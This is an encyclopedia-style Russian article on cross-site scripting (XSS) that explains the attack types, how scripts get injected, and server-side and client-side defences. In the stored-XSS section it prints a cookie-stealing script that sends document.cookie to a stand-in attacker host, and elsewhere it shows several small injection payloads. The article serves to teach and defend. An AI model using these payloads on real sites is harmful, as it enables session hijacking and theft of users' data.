XSS ( англ. Cross-Site Scripting — «межсайтовый скриптинг ») — подтип атаки на веб-системы , заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки « Внедрение кода ».

Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере , так и через уязвимость на компьютере пользователя .

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей , использующими сокращение «CSS».

XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений, согласно OWASP 2021 . Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF , атакующий может выполнить любые действия, доступные пользователю. Межсайтовый скриптинг может быть использован для проведения DoS-атаки .

Справочная информация

Безопасность в Интернете обеспечивается с помощью многих механизмов, в том числе важной концепцией, известной как правило ограничения домена . Это правило разрешает сценариям, находящимся на страницах одного сайта (https://mybank.example.com) , доступ к методам и свойствам друг друга без ограничений, но предотвращает доступ к большинству методов и свойств для страниц другого сайта (https://othersite.example.com) .

Межсайтовый скриптинг использует известные уязвимости в web-приложениях, серверах (или в системных плагинах, относящихся к ним). Используя одну из них, злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере , который был доставлен из надежного источника, и, таким образом, действует в соответствии с разрешениями, предоставленными для этой системы. Сумев внедрить необходимый скрипт в веб-страницу, злоумышленник может получить повышенные привилегии в отношении работы с веб-страницами, cookies и другой информацией, хранящейся в браузере для данного пользователя.

Выражение «межсайтинговый скриптинг» первоначально означало взаимодействие уязвимого веб-приложения с сайтом злоумышленника таким образом, чтобы в контексте атакуемого домена был выполнен JavaScript -код, подготовленный злоумышленником (отражённая или хранимая XSS уязвимость). Постепенно определение стало включать в себя и другие способы внедрения кода, включая использование устойчивых и не относящихся к JavaScript языков (например, ActiveX , Java , VBScript , Flash и даже HTML ), создавая путаницу среди новичков в сфере информационной безопасности .

Атаки с использованием XSS библиотеке React JS во многом предотвращены, так как там всё преобразуется в строчки, перед тем как быть отрендеренным. Это гарантирует, что никто никогда не внедрит чего-либо, что не было явно написано JS-разработчиком в web приложении.

XSS уязвимости зарегистрированы и используются с середины 1990-x годов . Известные сайты, пострадавшие в прошлом, включают такие сайты социальных сетей , как Twitter , ВКонтакте , MySpace , YouTube , Facebook и др.

Классификация

Не существует чёткой классификации межсайтового скриптинга. Но большинство экспертов различает по крайней мере два типа XSS: «отраженные» («reflected XSS» или «Type 1») и «хранимые» («stored XSS» или «Type 2») .

По вектору

Отражённые (непостоянные)

Атака, основанная на отражённой уязвимости, на сегодняшний день является самой распространенной XSS-атакой . Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML , исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента без надлежащей обработки . Отражённая XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Пример:

http://example.com/search.php?q=<script>DoSomething();</script>

Если сайт не экранирует угловые скобки, преобразуя их в « < » и « > », получим скрипт на странице результатов поиска.

Отражённые атаки, как правило, рассылаются по электронной почте или размещаются на Web-странице. URL приманки не вызывает подозрения, указывая на надёжный сайт, но содержит вектор XSS. Если доверенный сайт уязвим для вектора XSS, то переход по ссылке может привести к тому, что браузер жертвы начнет выполнять встроенный скрипт.

Хранимые (постоянные)

Хранимый XSS является наиболее разрушительным типом атаки. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате без ограничений, а также другие сайты Веб 2.0 (блоги, вики, имиджборд ), когда на сервере хранятся пользовательские тексты и рисунки. Скрипты вставляются в эти тексты и рисунки.

Фрагмент кода похищения ключа с идентификатором сессии (session ID):

<script>
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</script>

DOM-модели

XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript-сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов. При некорректной фильтрации возможно модифицировать DOM атакуемого сайта и добиться выполнения JavaScript-кода в контексте атакуемого сайта.

Пример:

<body>
<script>document.write(location.href);</script>
</body>

Пример DOM-модели XSS — баг , найденный в 2011 году в нескольких JQuery -плагинах . Методы предотвращения DOM-модели XSS включают меры, характерные для традиционных XSS, но с реализацией на javascript и отправкой в веб-страницы — проверка ввода и предотвращение атаки . Некоторые фреймворки javascript имеют встроенные защитные механизмы от этих и других типов атак, например, AngularJS .

По каналам внедрения скрипта

Ошибки в браузере

Из-за ошибок браузер может выполнять скрипты в SVG , нарушать правило Same Domain Policy . Это серьёзные ошибки; после обнаружения их быстро закрывают, однако в переходный период опасными становятся практически все сайты Веб 2.0 : форумы, вики, имиджборды. Если такая ошибка обнаружилась, рекомендуется, пока не вышло обновление, пользоваться другим браузером.

Бывают и более тонкие ошибки, которые проявляются при очень специфичных условиях и крупного урона не наносят. Такие ошибки могут не исправляться годами и выгоднее исправить сайт, чем ждать обновления браузера.

Отсутствие экранирования спецсимволов HTML

Намного чаще встречаются ошибки на сайтах. Чтобы браузер гарантированно не принял строку за тег HTML, требуется заэкранировать пять символов: '"&<> . Сервер может экранировать не все символы (известный недостаток PHP ), либо веб-программист просто забывает заэкранировать строку.

Обычно в базах данных текст хранится неэкранированным, и экранировать требуется все пользовательские строки каждый раз, когда они встраиваются в HTML: например, если не заэкранирован URL картинки, пользователь может ввести что-то наподобие http://example.com/img.png" onmouseover="javascript:DoSomething(); .

Многие сайты позволяют форматирование текста с помощью какого-либо языка разметки ( HTML , BBCode , вики-разметка ). Часто не проводится полный лексический анализ языка разметки, а лишь преобразование в «безопасный» HTML с помощью регулярных выражений . Это упрощает программирование, однако требует досконального понимания, какими путями скрипт может проникнуть в результирующий HTML-код.

Отсутствие фильтрации атрибутов и их значений в разрешённых тегах

Типичным примером будет ссылка <a href="javascript:DoSomething()"> . Даже если форум позволяет внешние ссылки, не стоит пускать протоколы javascript: и data: .

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF -атаку.

Подмена кодировки в заголовке страницы

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег <title> расположен до тега <meta> и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7 , обойдя таким образом фильтрацию таких символов, как < и " . Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей. HTML 5 прямо запрещает поддержку браузерами кодировки UTF-7 как потенциально опасной.

Социальная инженерия

Пользуясь социальной инженерией , злоумышленники добиваются того, что пользователь сам запускает вредоносный скрипт в браузере (на стороне клиента). Разработчики браузеров и веб-сайты принимают усилия по предотвращению атак такого типа.

Через внедрение SQL-кода

Если сайт и допускает внедрение SQL-кода , и выводит содержимое БД без всякого экранирования (то ли по незнанию, то ли в БД хранится готовый HTML-код, то ли автор точно знает, что «плохих» символов в БД нет), можно провести необычную атаку.

Внедрением SQL-кода записываем в БД «отравленную» страницу. Если кто-то получит доступ к этой строке БД, ему в браузер попадёт вредоносный скрипт. Бывают атаки и без хранения HTML в БД — СУБД вместо хранящегося в БД поля вернёт тот скрипт, который записан в тексте запроса.

По способу воздействия

Активные

Активная XSS атака не требует каких-либо действий со стороны пользователя с точки зрения функционала веб-приложения.

Пример:

<input type=text value= a onfocus=alert(1337) AUTOFOCUS >

В данном примере показано поле ввода, у которого установлен обработчик события появления фокуса, выполняющий собственно код атаки, а также у данного поля ввода активировано свойство автоматической установки фокуса. Таким образом автоматически устанавливается фокус, что вызывает обработчик установки фокуса, содержащий код атаки. Атака является активной и выполняется автоматически, не требуя от пользователя никакой активности.

Пассивные (автономные)

Пассивная XSS-атака срабатывает при выполнении пользователем определённого действия (клик или наведение указателя мыши и т. п.).

Пример:

<a href= 'a' onmouseover=alert(1337) style='font-size:500px' >

Пример показывает гиперссылку, особым образом привлекающую внимание пользователя, и/или занимающее значительное место, повышающее вероятность наведения указателя мыши, в данном случае крупным шрифтом. У гиперссылки установлен обработчик события наведения указателя мыши, содержащий код атаки. Атака является пассивной, так как бездействует, а код атаки не выполняется в ожидании наведения указателя мыши на ссылку пользователем.

Средства защиты

Защита на стороне сервера

• Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: filter_sanitize_encoded (для кодирования URL) , htmlentities (для фильтрации HTML) .
• Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project , HTML Purifier, htmLawed, Anti-XSS Class.
• Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструментов, как Nessus , и .
• Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8 ) до каких-либо пользовательских полей .
• Обеспечение безопасности cookies , которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly , использованием SSL .
• Использование заголовка , позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.

Защита на стороне клиента

• Регулярное обновление браузера до новой версии .
• Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST -запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox , для Chrome и Opera .

См. также

• CSRF
• Правило ограничения домена
• Metasploit
• Внедрение SQL-кода
• Экранирование символов

Примечания

Литература

• Seth Fogie , Jeremiah Grossman , Robert Hansen , Anton Rager , Petko D. Petkov. XSS атаки: эксплуатация и защита = XSS Attacks: Cross Site Scripting Exploits and Defense. — Syngress, 2007. — 464 p. — ISBN 1597491543 .
• Paco Hope , Ben Walther. Web Security Testing Cookbook. — O'Reilly Media, 2008. — 314 p. — ISBN 978-0-596-51483-9 .

Ссылки

• (англ.)
• (англ.)
• (англ.)
• (англ.)
• (англ.)